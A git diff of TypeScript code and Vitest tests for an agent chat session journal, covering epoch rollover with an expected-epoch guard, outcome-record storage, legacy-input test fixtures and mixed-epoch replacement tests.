a/src/main/native-chat/agent-session-journal/journal-epoch-rollover.ts b/src/main/native-chat/agent-session-journal/journal-epoch-rollover.ts index feca4c4d006..615f622972e 100644 --- a/src/main/native-chat/agent-session-journal/journal-epoch-rollover.ts +++ b/src/main/native-chat/agent-session-journal/journal-epoch-rollover.ts @@ -1,5 +1,7 @@ // Delete and replace epochs atomically; retaining superseded rows would grow history without bound. +import { journalOutcomeSource } from './journal-outcome-format' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' import { journalRowSchemaVersion } from '../../../shared/agent-session-journal-types' import type { AgentSessionJournalIdentity } from '../../../shared/agent-session-journal-types' import { agentSessionJournalProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' @@ -10,11 +12,11 @@ import { buildJournalQueueRow } from './journal-queue-events' import type { JournalQueueRestatement } from './journal-queued-messages' import { deleteJournalEpochRows, - insertJournalRow, publishJournalSessionEpoch, readJournalSessionEpoch } from './journal-row-table' import type { AgentJournalEpochReason, JournalRow } from './journal-row-schema' +import { AgentSessionJournalError } from './journal-write-guards' export function publishNewEpoch(input: { database: JournalHostDatabase @@ -25,6 +27,8 @@ export function publishNewEpoch(input: { now: number /** Unhanded cards wait again; replacement submissions may relink them. */ queue: JournalQueueRestatement + /** The epoch the caller built from (null: none yet); a different stored epoch refuses. */ + expectedEpoch?: string | null /** Adopt committed state before fallible follow-up work. */ onPublished: (loaded: JournalLoad) => void }): void { @@ -32,7 +36,6 @@ export function publishNewEpoch(input: { kind: 'epoch', reason: input.reason, providerHandle: agentSessionJournalProviderHandle(input.identity), - // Body-free epoch rows must remain readable by older hosts. v: journalRowSchemaVersion([]), epoch: input.epoch, seq: 1, @@ -51,20 +54,29 @@ export function publishNewEpoch(input: { rows.push(card) } } - input.database.transaction((db) => { - const retired = readJournalSessionEpoch(db, sessionId) - if (retired !== null) { - deleteJournalEpochRows(db, sessionId, retired) - } - for (const each of rows) { - insertJournalRow(db, sessionId, each) - } - input.queue.receipt.write(db) - publishJournalSessionEpoch(db, input.identity, input.epoch) - }) - - // Adopt committed state before fallible work can leave writers targeting the deleted epoch. - input.queue.receipt.committed() state.oldestSequence = 1 - input.onPublished({ state, newer: null, damage: null }) + input.database.transaction( + (db) => { + const retired = readJournalSessionEpoch(db, sessionId) + if (input.expectedEpoch !== undefined && retired !== input.expectedEpoch) { + throw new AgentSessionJournalError('journal_row_rejected', 'the chat epoch changed') + } + if (retired !== null) { + journalOutcomeSource(db, sessionId, retired) + } + if (retired !== null) { + deleteJournalEpochRows(db, sessionId, retired) + } + input.queue.receipt.write(db) + publishJournalSessionEpoch(db, input.identity, input.epoch) + return publishJournalOutcomeEpoch(db, sessionId, state.epoch, rows) + }, + false, + (publication) => { + // Adopt, then finish the nonthrowing queue bookkeeping, before the fallible publication. + const state = publication.adopt() + input.queue.receipt.committed() + input.onPublished({ state, newer: null, damage: null }) + } + ) } diff --git a/src/main/native-chat/agent-session-journal/journal-host-database-test-support.ts b/src/main/native-chat/agent-session-journal/journal-host-database-test-support.ts index 46108f549c0..93d11ac3a22 100644 --- a/src/main/native-chat/agent-session-journal/journal-host-database-test-support.ts +++ b/src/main/native-chat/agent-session-journal/journal-host-database-test-support.ts @@ -1,10 +1,18 @@ // Share one connection per test profile to match production host ownership. import { resolve } from 'node:path' +import { randomUUID } from 'node:crypto' +import { journalRowSchemaVersion } from '../../../shared/agent-session-journal-types' +import { agentSessionJournalProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' import { JournalHostDatabase } from './journal-host-database' -import { replayJournal, type JournalLoad } from './journal-open' +import { fields } from './journal-state-schema' +import { journalOutcomeSource } from './journal-outcome-format' +import { decodeJournalOutcome, type JournalOutcome } from './journal-outcome-codec' +import { applyJournalRow } from './journal-reducer' +import { restoreJournal, type JournalLoad } from './journal-open' import { serializeJournalRow, type JournalRow } from './journal-row-schema' import { + insertJournalRow, iterateJournalEpochRows, publishJournalSessionEpoch, readJournalSessionEpoch, @@ -50,15 +58,23 @@ export type TrackedJournalOpener = { closeAll: () => Promise } -export function createTrackedJournalOpener(): TrackedJournalOpener { +export function createTrackedJournalOpener( + fixture: { legacyInputs?: boolean } = {} +): TrackedJournalOpener { const journals: AgentSessionJournal[] = [] return { open: async ({ stateDirectory, ...options }) => { + if (fixture.legacyInputs) { + seedLegacyTestJournal(openTestJournalHostDatabase(stateDirectory), options) + } const { openAgentSessionJournal } = await import('./journal-store-factory') const journal = await openAgentSessionJournal({ ...options, database: openTestJournalHostDatabase(stateDirectory) }) + if (fixture.legacyInputs) { + pinTestJournalInputMode(journal) + } journals.push(journal) return journal }, @@ -73,6 +89,33 @@ export function createTrackedJournalOpener(): TrackedJournalOpener { } } +/** Input-parser fixtures explicitly found an epoch in the shipped input format. */ +export function seedLegacyTestJournal( + database: JournalHostDatabase, + options: Omit +): void { + if ( + database.readOnly || + readJournalSessionEpoch(database.db, options.identity.sessionId) !== null + ) { + return + } + const epoch = options.mintEpoch?.() ?? randomUUID() + database.transaction((db) => { + publishJournalSessionEpoch(db, options.identity, epoch) + insertTestJournalRow(db, options.identity.sessionId, { + kind: 'epoch', + v: journalRowSchemaVersion([]), + epoch, + seq: 1, + fence: 0, + ts: options.now?.() ?? Date.now(), + reason: 'session_created', + providerHandle: agentSessionJournalProviderHandle(options.identity) + }) + }) +} + export const SAVED_BY_NEWER_ORCA = { refusal: { code: 'agent_session_journal_unreadable', @@ -81,7 +124,7 @@ export const SAVED_BY_NEWER_ORCA = { } export function loadTestJournal(stateDirectory: string, sessionId: string): JournalLoad | null { - return replayJournal(openTestJournalHostDatabase(stateDirectory).db, sessionId) + return restoreJournal(openTestJournalHostDatabase(stateDirectory).db, sessionId) } function liveEpoch(db: Database.Database, sessionId: string): string { @@ -153,3 +196,67 @@ export function deleteTestJournalRow(db: Database.Database, sessionId: string, s seq ) } + +/** Read current canonical contributions in commit order for persisted-outcome assertions. */ +export function readTestJournalOutcomes( + db: Database.Database, + sessionId: string +): JournalOutcome[] { + const epoch = readJournalSessionEpoch(db, sessionId) + const source = epoch && journalOutcomeSource(db, sessionId, epoch) + if (!source) { + return [] + } + return db + .prepare(`SELECT seq, field, entry_key, format, ordinal, value_json, deleted FROM journal_outcomes + WHERE generation = ? ORDER BY seq, field, entry_key`) + .all(source.generation) + .map(decodeJournalOutcome) +} + +export function readTestQueueChanges( + db: Database.Database, + sessionId: string +): { + messageId: string + op: string + returned: boolean +}[] { + const seen = new Set() + return readTestJournalOutcomes(db, sessionId).flatMap((value) => { + if (value.field !== 'queue.cards') { + return [] + } + if (value.deleted) { + return [{ messageId: String(JSON.parse(value.key)), op: 'withdrawn', returned: false }] + } + const [messageId, card] = fields.queue.shape.cards.element.parse(JSON.parse(value.json)) + const first = !seen.has(messageId) + seen.add(messageId) + return [ + { messageId, op: first ? 'queued' : card.state, returned: first && card.state === 'returned' } + ] + }) +} + +/** Input fixtures stand for a chat an older build wrote and goes on writing: writes to its input + * epoch stay input rows, as that build's writer stored them, so the input reader meets writer-made + * rows. An epoch this build founds (rollover, replacement) is written as this build writes it. */ +export function pinTestJournalInputMode(journal: AgentSessionJournal): void { + const projection = journal['projection'] + const prepare = projection.prepare.bind(projection) + projection.prepare = (db, rows, savedAt) => { + const state = journal['state'] + if (journalOutcomeSource(db, state.sessionId, state.epoch)) { + return prepare(db, rows, savedAt) + } + for (const row of rows) { + insertJournalRow(db, state.sessionId, row, savedAt) + } + return () => { + for (const row of rows) { + applyJournalRow(state, row, savedAt) + } + } + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-host-database.spec.ts b/src/main/native-chat/agent-session-journal/journal-host-database.spec.ts index f7392afec74..3da49ac632d 100644 --- a/src/main/native-chat/agent-session-journal/journal-host-database.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-host-database.spec.ts @@ -46,7 +46,7 @@ export function registerJournalHostDatabaseTests(): void { } let root: string - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) function item(ordinal: number): AgentJournalItemIdentity { return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } @@ -55,11 +55,11 @@ export function registerJournalHostDatabaseTests(): void { /** Deferred foreign-key failures leave COMMIT open, exercising shared-connection rollback recovery. */ function failCommits(db: Database.Database): () => void { db.exec(`CREATE TEMP TABLE commit_probe_parent (id INTEGER PRIMARY KEY); -CREATE TEMP TABLE commit_probe_child ( - parent INTEGER REFERENCES commit_probe_parent (id) DEFERRABLE INITIALLY DEFERRED -); -CREATE TEMP TRIGGER commit_probe AFTER INSERT ON main.journal_rows -BEGIN INSERT INTO commit_probe_child (parent) VALUES (1); END`) + CREATE TEMP TABLE commit_probe_child ( + parent INTEGER REFERENCES commit_probe_parent (id) DEFERRABLE INITIALLY DEFERRED + ); + CREATE TEMP TRIGGER commit_probe AFTER INSERT ON main.journal_rows + BEGIN INSERT INTO commit_probe_child (parent) VALUES (1); END`) return () => db.exec('DROP TRIGGER temp.commit_probe') } @@ -89,10 +89,10 @@ BEGIN INSERT INTO commit_probe_child (parent) VALUES (1); END`) args: [ '-e', `const { DatabaseSync } = require('node:sqlite') -const db = new DatabaseSync(process.argv[1]) -db.exec('BEGIN IMMEDIATE') -process.stdout.write('holding') -setTimeout(() => { db.exec('COMMIT'); db.close() }, 200)`, + const db = new DatabaseSync(process.argv[1]) + db.exec('BEGIN IMMEDIATE') + process.stdout.write('holding') + setTimeout(() => { db.exec('COMMIT'); db.close() }, 200)`, journalDatabasePath(root) ], timeoutMs: 30_000 diff --git a/src/main/native-chat/agent-session-journal/journal-host-database.ts b/src/main/native-chat/agent-session-journal/journal-host-database.ts index 62ab838f54e..c35b06c11a8 100644 --- a/src/main/native-chat/agent-session-journal/journal-host-database.ts +++ b/src/main/native-chat/agent-session-journal/journal-host-database.ts @@ -60,12 +60,17 @@ export class JournalHostDatabase { } /** Streamed text may lose only its trailing suffix on OS crash; the next FULL commit makes it durable. */ - transaction(run: (db: Database.Database) => T, streamed = false): T { + transaction( + run: (db: Database.Database) => T, + streamed = false, + committed?: (result: T) => void + ): T { const db = this.db if (!streamed) { const result = runJournalTransaction(db, run, () => { this.stranded = true }) + committed?.(result) this.checkpoint?.afterCommit() return result } @@ -76,6 +81,7 @@ export class JournalHostDatabase { result = runJournalTransaction(db, run, () => { this.stranded = true }) + committed?.(result) } finally { if (!db.isTransaction) { db.pragma('synchronous = FULL') diff --git a/src/main/native-chat/agent-session-journal/journal-item-provenance.spec.ts b/src/main/native-chat/agent-session-journal/journal-item-provenance.spec.ts index c574811413f..6c76e730fd7 100644 --- a/src/main/native-chat/agent-session-journal/journal-item-provenance.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-item-provenance.spec.ts @@ -39,7 +39,7 @@ export function registerJournalItemProvenanceTests(): void { let root: string let database: JournalHostDatabase - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) function item(ordinal: number): AgentJournalItemIdentity { return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } diff --git a/src/main/native-chat/agent-session-journal/journal-lifecycle-batch-appender.spec.ts b/src/main/native-chat/agent-session-journal/journal-lifecycle-batch-appender.spec.ts index 1c7b2f5be36..f02e0ddf071 100644 --- a/src/main/native-chat/agent-session-journal/journal-lifecycle-batch-appender.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-lifecycle-batch-appender.spec.ts @@ -26,7 +26,7 @@ export function registerJournalLifecycleBatchAppenderTests(): void { } const SESSION = 'repeated-items' - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) let root: string let journal: AgentSessionJournal const options = () => ({ diff --git a/src/main/native-chat/agent-session-journal/journal-lifecycle-boundaries.spec.ts b/src/main/native-chat/agent-session-journal/journal-lifecycle-boundaries.spec.ts new file mode 100644 index 00000000000..21693b1221d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-lifecycle-boundaries.spec.ts @@ -0,0 +1,197 @@ +import type { createFixture } from './journal-store-contract-test-fixture' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { readdir } from 'node:fs/promises' +import { describe, expect, it } from 'vitest' +import type { AgentJournalItemIdentity } from '../../../shared/agent-session-journal-types' +import { + boundInlineText, + boundPayload, + JOURNAL_RUNNING_PREVIEW_LIMITS +} from './journal-payload-bounds' +import type { AgentSessionJournal } from './journal-store' + +export function registerJournalLifecycleBoundaryTests( + fixture: ReturnType +): void { + describe('bounds', () => { + it('marks a clipped payload instead of dropping bytes silently', () => { + const limits = { inlineHeadBytes: 16 } + const bounded = boundPayload('x'.repeat(4_096), limits) + expect(bounded.truncated).toBe(true) + expect(bounded.head).toHaveLength(16) + expect(bounded.byteLength).toBe(4_096) + expect(boundInlineText('x'.repeat(4_096), limits).text).toContain('output truncated') + }) + + it('never splits a multi-byte character across the bound', () => { + const limits = { inlineHeadBytes: 4 } + // Three-byte characters expose UTF-8 splits. + const bounded = boundPayload('日本語テスト', limits) + expect(bounded.head).toBe('日') + expect(Buffer.byteLength(bounded.head, 'utf8')).toBeLessThanOrEqual(4) + }) + + it('leaves a payload inside the bound untouched', () => { + const bounded = boundPayload('small', JOURNAL_RUNNING_PREVIEW_LIMITS) + expect(bounded.truncated).toBe(false) + expect(bounded.head).toBe('small') + expect(boundInlineText('small', JOURNAL_RUNNING_PREVIEW_LIMITS).text).toBe('small') + }) + }) + + describe('lifecycle batches', () => { + it('deduplicates concurrent submissions before appending a second row', async () => { + const journal = await fixture.open() + const input = { + settlementId: 'concurrent-settlement', + fence: 1, + mutations: [ + { + kind: 'item' as const, + identity: fixture.item(1), + body: fixture.body('settled'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + } + + const [first, replay] = await Promise.all([ + journal.appendLifecycleBatch(input), + journal.appendLifecycleBatch(input) + ]) + + expect([replay, first.sequence]).toEqual([first, 2]) + }) + + it('applies every mutation at one sequence and deduplicates a replay across reopen', async () => { + const journal = await fixture.open() + const turn: AgentJournalItemIdentity = { + provider: 'legacy', + agent: 'codex', + sessionId: 'session-1', + recordId: 'turn-lifecycle:turn-1' + } + await journal.appendItem( + turn, + { kind: 'status', text: 'working' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + + const settled = await journal.appendLifecycleBatch({ + settlementId: 'exit:turn-1', + fence: 1, + mutations: [ + { + kind: 'item', + identity: fixture.item(1), + body: fixture.body('tool settled'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }, + { + kind: 'item', + identity: { provider: 'orca', clientMessageId: 'exit-status' }, + body: { kind: 'status', text: 'Provider exited' }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }, + { kind: 'tombstone', identity: turn } + ] + }) + const atSettlement = journal + .snapshot() + .items.filter((entry) => entry.sequence === settled.sequence) + expect(atSettlement).toHaveLength(2) + expect( + journal + .snapshot() + .items.some((entry) => entry.body.kind === 'status' && entry.body.text === 'working') + ).toBe(false) + await journal.close() + + const reopened = await fixture.open() + const beforeReplay = reopened.cursor() + const replay = await reopened.appendLifecycleBatch({ + settlementId: 'exit:turn-1', + fence: 1, + mutations: [ + { + kind: 'item', + identity: fixture.item(9), + body: fixture.body('must not appear'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + }) + expect(replay).toEqual(beforeReplay) + expect( + reopened + .snapshot() + .items.some( + (entry) => + entry.body.kind === 'message' && + entry.body.blocks.some( + (block) => block.type === 'text' && block.text === 'must not appear' + ) + ) + ).toBe(false) + }) + }) + + describe('on-disk layout', () => { + it('keeps every chat of the state directory in its one database, and no per-chat file', async () => { + const journal: AgentSessionJournal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(await readdir(fixture.root)).toContain('agent-session-journal.db') + expect(await readdir(fixture.root)).not.toContain('agent-session-journal') + await journal.close() + await fixture.withJournalDatabase(fixture.root, (db) => { + expect( + db.prepare("SELECT value_json FROM journal_outcomes WHERE field = 'items'").get() + ?.value_json + ).toContain('"kind":"message"') + expect(db.prepare('SELECT epoch FROM journal_sessions').get()).toMatchObject({ + epoch: journal.epoch + }) + }) + }) + }) + + describe('what a handle found on disk when it opened', () => { + const submission = (clientMessageId: string) => ({ + clientMessageId, + payloadFingerprint: 'fp', + body: { kind: 'message' as const, role: 'user' as const, blocks: [] }, + fence: 1, + handoverRecorded: true as const + }) + + it('names rows an earlier handle wrote, and never a row of a later epoch', async () => { + const earlier = await fixture.open() + await earlier.appendItem(fixture.item(1), fixture.body('one'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await earlier.appendSubmission(submission('earlier')) + await earlier.close() + + const journal = await fixture.open() + const leftover = journal.submissions().find((entry) => entry.clientMessageId === 'earlier') + expect(journal.wroteBeforeOpen(leftover?.acceptedSequence)).toBe(true) + + await journal.resolveDispatch({ + clientMessageId: 'earlier', + state: 'unknown', + reason: 'unconfirmed from an earlier host', + fence: 1 + }) + // Epochs restart sequences, so later rows can fall below the old open cursor. + await journal.replaceEpochItems('handle_forked', 1, []) + await journal.appendSubmission(submission('later')) + const later = journal.submissions().find((entry) => entry.clientMessageId === 'later') + expect(later?.acceptedSequence).toBeLessThanOrEqual(2) + expect(journal.wroteBeforeOpen(later?.acceptedSequence)).toBe(false) + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-mixed-epoch-replacement.test.ts b/src/main/native-chat/agent-session-journal/journal-mixed-epoch-replacement.test.ts new file mode 100644 index 00000000000..6f1a72ca78f --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-mixed-epoch-replacement.test.ts @@ -0,0 +1,185 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalItemBody, + type AgentJournalItemIdentity, + type AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { + createTrackedJournalOpener, + liveTestJournalRows, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { journalOutcomeSource } from './journal-outcome-format' +import { sweepJournalOutcomePage } from './journal-outcome-cleanup' +import type { AgentSessionJournal } from './journal-store' +import { JournalWriteProjection } from './journal-write-projection' + +// An existing chat this build has written to holds old input rows, the marker and records. Rewind, +// replacement and rollover found an outcome-only epoch from what the open chat holds, delete the +// retired epoch's rows whole inside that transaction, as main does, and leave its records to the +// runner's sweep; a refused replacement leaves the mixed chat as it was. +const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-mixed-replacement', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} +const FENCE = 1 +const scope = { fence: FENCE, turnScope: AGENT_JOURNAL_THREAD_SCOPE } +const item = (ordinal: number): AgentJournalItemIdentity => ({ + provider: 'codex', + threadId: 'thread-1', + turnId: 'turn-1', + ordinal +}) +const status = (text: string): AgentJournalItemBody => ({ kind: 'status', text }) +const message = (text: string) => ({ + kind: 'message' as const, + role: 'user' as const, + blocks: [{ type: 'text' as const, text }] +}) + +let root: string +const journals = createTrackedJournalOpener() +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-mixed-replacement-')) + // Every commit restores the chat from disk and fails the write if it differs from live. + JournalWriteProjection.verifyEachCommit = true +}) +afterEach(async () => { + JournalWriteProjection.verifyEachCommit = false + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +const db = () => openTestJournalHostDatabase(root).db +const rowsOfEpoch = (epoch: string) => + db().prepare('SELECT seq, row_json FROM journal_rows WHERE epoch = ? ORDER BY seq').all(epoch) +const recordsOf = (generation: number) => + db().prepare('SELECT * FROM journal_outcomes WHERE generation = ? ORDER BY seq').all(generation) + +/** Old rows (items 0 and 1, a waiting card, a user Stop), then this build's records (item 0 + * revised, item 2, a second card). */ +async function mixedChat(): Promise { + const older = createTrackedJournalOpener({ legacyInputs: true }) + const earlier = await older.open({ identity: IDENTITY, stateDirectory: root }) + await earlier.appendItem(item(0), status('first'), scope) + await earlier.appendItem(item(1), status('second'), scope) + await earlier.queuedMessages.insert({ messageId: 'card-old', body: message('old card') }) + await earlier.appendStopEvent({ reason: 'user-stop' }, FENCE) + await older.closeAll() + const journal = await journals.open({ identity: IDENTITY, stateDirectory: root }) + await journal.appendItem(item(0), status('first, revised'), scope) + await journal.appendItem(item(2), status('third'), scope) + await journal.queuedMessages.insert({ messageId: 'card-new', body: message('new card') }) + const source = journalOutcomeSource(db(), IDENTITY.sessionId, journal.epoch) + expect(source?.prefix).toBeGreaterThan(0) + return journal +} + +/** What a user sees of the chat: its items, sends, queue and pause. */ +function seen(journal: AgentSessionJournal) { + return { + items: journal.snapshot().items.map((entry) => entry.body), + cards: journal.queuedMessages.list().map((card) => [card.messageId, card.body, card.state]), + stop: journal.queuedMessages.userStopInForce()?.event.reason ?? null + } +} + +async function reopened() { + await journals.closeAll() + return seen(await journals.open({ identity: IDENTITY, stateDirectory: root })) +} + +function expectRetiredWhole(retired: { epoch: string; generation: number }, live: string) { + expect(rowsOfEpoch(retired.epoch)).toEqual([]) + const source = journalOutcomeSource(db(), IDENTITY.sessionId, live) + // The new epoch is outcome-only: its rows hold only the marker. + expect(source?.prefix).toBe(0) + expect(rowsOfEpoch(live).map((row) => JSON.parse(String(row.row_json)).kind)).toEqual([ + 'outcomes' + ]) + expect(recordsOf(retired.generation).length).toBeGreaterThan(0) + const database = openTestJournalHostDatabase(root) + while (sweepJournalOutcomePage(database)) { + // Sweeps one bounded page per transaction. + } + expect(recordsOf(retired.generation)).toEqual([]) + expect(recordsOf(source!.generation).length).toBeGreaterThan(0) +} + +it.each(['rewind', 'replacement'] as const)( + 'a %s of a mixed chat keeps what the user kept and deletes the retired epoch whole', + async (path) => { + const journal = await mixedChat() + const retired = { + epoch: journal.epoch, + generation: journalOutcomeSource(db(), IDENTITY.sessionId, journal.epoch)!.generation + } + const kept = [ + { identity: item(0), body: status('first, revised'), ownerFence: FENCE }, + { identity: item(2), body: status('third'), ownerFence: FENCE } + ] + await journal.replaceEpochItems( + path === 'rewind' ? 'handle_forked' : 'legacy_import', + FENCE, + kept + ) + const live = seen(journal) + expect(live).toEqual({ + items: [status('first, revised'), status('third')], + cards: [ + ['card-old', message('old card'), 'waiting'], + ['card-new', message('new card'), 'waiting'] + ], + stop: 'user-stop' + }) + const epoch = journal.epoch + expect(epoch).not.toBe(retired.epoch) + expect(await reopened()).toEqual(live) + expectRetiredWhole(retired, epoch) + } +) + +it('a rollover of a mixed chat keeps its queue and deletes the retired epoch whole', async () => { + const journal = await mixedChat() + const retired = { + epoch: journal.epoch, + generation: journalOutcomeSource(db(), IDENTITY.sessionId, journal.epoch)!.generation + } + const before = seen(journal) + await journal.rollEpoch('unreconcilable_prefix', FENCE) + const live = seen(journal) + expect(live).toEqual({ ...before, items: [], stop: null }) + const epoch = journal.epoch + expect(await reopened()).toEqual(live) + expectRetiredWhole(retired, epoch) +}) + +it('a refused replacement of a mixed chat leaves its rows, records and state as they were', async () => { + const journal = await mixedChat() + const rows = liveTestJournalRows(db(), IDENTITY.sessionId) + const records = db().prepare('SELECT * FROM journal_outcomes ORDER BY rowid').all() + const before = seen(journal) + const unreadable: AgentJournalItemBody = { + kind: 'message', + role: 'assistant', + blocks: [{ type: 'tool-call', name: 'Bash', input: null, callId: ' ' }] + } + await expect( + journal.replaceEpochItems('handle_forked', FENCE, [ + { identity: item(0), body: status('first, revised'), ownerFence: FENCE }, + { identity: item(5), body: unreadable, ownerFence: FENCE } + ]) + ).rejects.toMatchObject({ code: 'journal_row_rejected' }) + expect(liveTestJournalRows(db(), IDENTITY.sessionId)).toEqual(rows) + expect(db().prepare('SELECT * FROM journal_outcomes ORDER BY rowid').all()).toEqual(records) + expect(seen(journal)).toEqual(before) + expect(await reopened()).toEqual(before) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-open.ts b/src/main/native-chat/agent-session-journal/journal-open.ts index bd1561b4e51..35a2d593291 100644 --- a/src/main/native-chat/agent-session-journal/journal-open.ts +++ b/src/main/native-chat/agent-session-journal/journal-open.ts @@ -1,5 +1,10 @@ // Replay live epochs without rewriting history; damage/newer rows fail load and remain on disk. +import { journalOutcomeSource } from './journal-outcome-format' +import { readJournalOutcomes } from './journal-outcome-table' +import { JournalOutcomeDecodeError } from './journal-outcome-codec' +import { readJournalOutcomeGroups, type JournalReadRow } from './journal-read-row' +import { AgentSessionJournalError } from './journal-write-guards' import type Database from '../../sqlite/sync-database' import { applyJournalRow, @@ -11,7 +16,7 @@ import { readJournalRowsAfter, readJournalSessionEpoch } from './journal-row-table' -import { parseJournalRow, type JournalRow } from './journal-row-schema' +import { parseJournalRow } from './journal-row-schema' const FIRST_JOURNAL_SEQUENCE = 1 @@ -33,23 +38,78 @@ export function replayJournal(db: Database.Database, sessionId: string): Journal if (epoch === null) { return null } - const fold = startJournalRowFold({ sessionId, epoch }) - for (const entry of iterateJournalEpochRows(db, sessionId, epoch)) { - if (!fold.add(entry)) { + return foldJournalFromState(db, createJournalReducerState(sessionId, epoch)) +} + +/** The read is synchronous, like main's replay: it blocks once for one chat's saved records (its + * frozen input prefix, then each outcome key's newest record), and nothing can interleave with it. + * Admission comes first, so a newer chat is never folded. */ +export function restoreJournal(db: Database.Database, sessionId: string): JournalLoad | null { + const epoch = readJournalSessionEpoch(db, sessionId) + if (epoch === null) { + return null + } + const empty = createJournalReducerState(sessionId, epoch) + try { + const source = journalOutcomeSource(db, sessionId, epoch) + if (!source) { + return foldJournalFromState(db, empty) + } + let baseline: JournalReducerState | undefined + if (source.prefix > 0) { + const prefix = foldJournalFromState(db, empty, source.prefix) + if (prefix.newer || prefix.damage || prefix.state.lastSequence !== source.prefix) { + const gap = { sequence: prefix.state.lastSequence + 1, cause: 'sequence-gap' as const } + return { ...prefix, damage: prefix.newer ? null : (prefix.damage ?? gap) } + } + baseline = prefix.state + } + const state = readJournalOutcomes(db, sessionId, epoch, source, baseline) + return { state, newer: null, damage: null } + } catch (error) { + if (error instanceof AgentSessionJournalError && error.code === 'journal_read_only') { + return { state: empty, newer: { sequence: 1 }, damage: null } + } + // Only stored content this build rejects is damage; a storage error stays retryable, as on main. + if (error instanceof JournalOutcomeDecodeError) { + return { state: empty, newer: null, damage: { sequence: 1, cause: 'unparseable-row' } } + } + throw error + } +} + +/** Folds input rows as main does, up to `through` when the epoch's outcome records follow them. */ +function foldJournalFromState( + db: Database.Database, + state: JournalReducerState, + through = Number.POSITIVE_INFINITY +): JournalLoad { + const { sessionId, epoch, lastSequence } = state + const fold = startJournalRowFold({ sessionId, epoch }, state) + for (const entry of iterateJournalEpochRows( + db, + sessionId, + epoch, + lastSequence === 0 ? Number.MIN_SAFE_INTEGER : lastSequence + )) { + if (entry.seq > through || !fold.add(entry)) { break } } return fold.finish() } -export function startJournalRowFold(input: { sessionId: string; epoch: string }): { +/** untilDamage stops at the first damage, for callers that only ask whether a fold publishes. */ +export function startJournalRowFold( + input: { sessionId: string; epoch: string; untilDamage?: boolean }, + state = createJournalReducerState(input.sessionId, input.epoch) +): { add: (entry: { seq: number; rowJson: string; ts?: number }) => boolean finish: () => JournalLoad } { - const state = createJournalReducerState(input.sessionId, input.epoch) - let expectedSequence = FIRST_JOURNAL_SEQUENCE + let expectedSequence = state.lastSequence + 1 let damage: JournalDamage | null = null - let anchored = false + let anchored = state.lastSequence > 0 let newer: { sequence: number } | null = null let empty = true @@ -98,7 +158,7 @@ export function startJournalRowFold(input: { sessionId: string; epoch: string }) : { sequence: FIRST_JOURNAL_SEQUENCE, cause: 'no-epoch-row' as const }) return { state, newer, damage: newer ? null : found } } - return { add, finish } + return { add: input.untilDamage ? (entry) => add(entry) && damage === null : add, finish } } export function journalRowsAfterReader( @@ -106,25 +166,46 @@ export function journalRowsAfterReader( sessionId: string, epoch: string, limit?: number -): (afterSequence: number) => JournalRow[] { +): (afterSequence: number) => JournalReadRow[] { return (afterSequence) => readJournalRowsAfterCursor(db, sessionId, epoch, afterSequence, limit) } -/** Stop replay at the first unreadable row; never serve a partial tail beyond it. */ +/** Stop replay at the first unreadable row; never serve a partial tail beyond it. A chat with an + * input prefix pages its rows, then its outcome groups, each sequence exactly once. */ export function readJournalRowsAfterCursor( db: Database.Database, sessionId: string, epoch: string, afterSequence: number, limit?: number -): JournalRow[] { - const rows: JournalRow[] = [] - for (const stored of readJournalRowsAfter(db, sessionId, epoch, afterSequence, limit)) { - const parsed = parseJournalRow(stored.rowJson) - if (!parsed.ok) { - break +): JournalReadRow[] { + const source = journalOutcomeSource(db, sessionId, epoch) + const prefix = source ? source.prefix : Number.POSITIVE_INFINITY + const rows: JournalReadRow[] = [] + if (afterSequence < prefix) { + for (const stored of readJournalRowsAfter(db, sessionId, epoch, afterSequence, limit)) { + const parsed = stored.seq <= prefix ? parseJournalRow(stored.rowJson) : null + if (!parsed?.ok) { + // An unreadable prefix row ends the page; outcome groups never skip past it. + return parsed ? rows : [...rows, ...groupsAfter(prefix)] + } + rows.push(parsed.row) + } + if (!source || (limit !== undefined && rows.length >= limit)) { + return rows } - rows.push(parsed.row) } - return rows + return [...rows, ...groupsAfter(Math.max(afterSequence, prefix))] + + function groupsAfter(after: number): JournalReadRow[] { + return source + ? readJournalOutcomeGroups( + db, + epoch, + source, + after, + limit === undefined ? undefined : limit - rows.length + ) + : [] + } } diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-cleanup.ts 